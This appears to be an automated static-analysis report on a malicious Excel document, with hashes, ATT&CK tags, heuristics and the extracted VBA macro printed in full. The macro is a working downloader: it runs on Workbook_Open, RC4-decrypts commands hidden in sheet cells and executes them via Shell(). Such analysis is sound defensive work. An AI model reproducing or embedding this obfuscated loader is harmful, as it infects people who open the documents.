Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9866903f8d65f73c…

MALICIOUS

Office (OLE)

84.5 KB Created: 2019-05-17 11:00:25 First seen: 2019-06-27
MD5: cbe417abdaca7978c625754f2ed66b52 SHA-1: 297375c9fb5dec0cb932b111e17bc19848cfd1e0 SHA-256: 9866903f8d65f73c5b41a482f52f9cb23e30d721ea8f75fdbc65a55a5b279053
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The critical heuristic OLE_VBA_SHELL indicates a Shell() call within the VBA macro. The Workbook_Open event is triggered upon opening the document, and the macro attempts to execute a command using Shell(). The reconstructed command appears to download and execute a file named 'update.exe' from a potentially malicious source, indicating a downloader or dropper functionality.

Heuristics 4

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2349 bytes
SHA-256: 5c0b6619cdcdec2f0889213a97b0a58be283fb3764b808975871491f5baeb313
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    On Error Resume Next
trdefgcxcbcvxb

End Sub




Function G()
G = Cells(5, 1)
End Function

Function IY()
IY = S(D(Right(G, 566)), mes)
End Function


Public Function S(EdE As String, AwSa As String) As String
    Dim SDa(0 To 255) As Byte
    Dim SfF(0 To 255) As Byte
    Dim GeG     As Byte
    Dim lI, lJ, QQa        As Long

    For QQa = 0 To 255
        SDa(QQa) = QQa
        SfF(QQa) = Asc(Mid$(AwSa, 1 + (QQa Mod Len(AwSa)), 1))
    Next
    For lI = 0 To 255
        lJ = (lJ + SDa(lI) + SfF(lI)) Mod 256
        GeG = SDa(lI)
        SDa(lI) = SDa(lJ)
        SDa(lJ) = GeG
    Next
    lI = 0
    lJ = 0
    For QQa = 1 To Len(EdE)
        lI = (lI + 1) Mod 256
        lJ = (lJ + SDa(lI)) Mod 256
        GeG = SDa(lI)
        SDa(lI) = SDa(lJ)
        SDa(lJ) = GeG
        S = S & Chr$((X(SDa((CLng(SDa(lI)) + SDa(lJ)) Mod 256), Asc(Mid$(EdE, QQa, 1)))))
    Next
End Function

Private Function X(ByVal lI As Long, ByVal lJ As Long) As Long
    If lI = lJ Then
        X = lJ
    Else
        X = lI Xor lJ
    End If
End Function
Function liPokoLi90()
mes
End Function


Public Function D(EdE As String) As String
    Dim QQa            As Long

    For QQa = 1 To Len(EdE) Step 2
        D = D & Chr$(CLng("&H" & Mid(EdE, QQa, 2)))
    Next
End Function


Function trdefgcxcbcvxb()
the = Shell(Shell#(IY & Cells(1, 1) & S(D(Left(G, 460)), mes), (500 * 10 / 2) / 250 / 10 - 1), (500 * 10 / 2) / 250 / 10 - 1)
End Function

Function mes()
If xlSummaryBelow > 0 Then
LK = (xlDate)
If xlThemeColorDark2 > 1 Then
On Error Resume Next
mes = 1 + ((Application.International(LK)) * (50 * 2))
End If
End If
End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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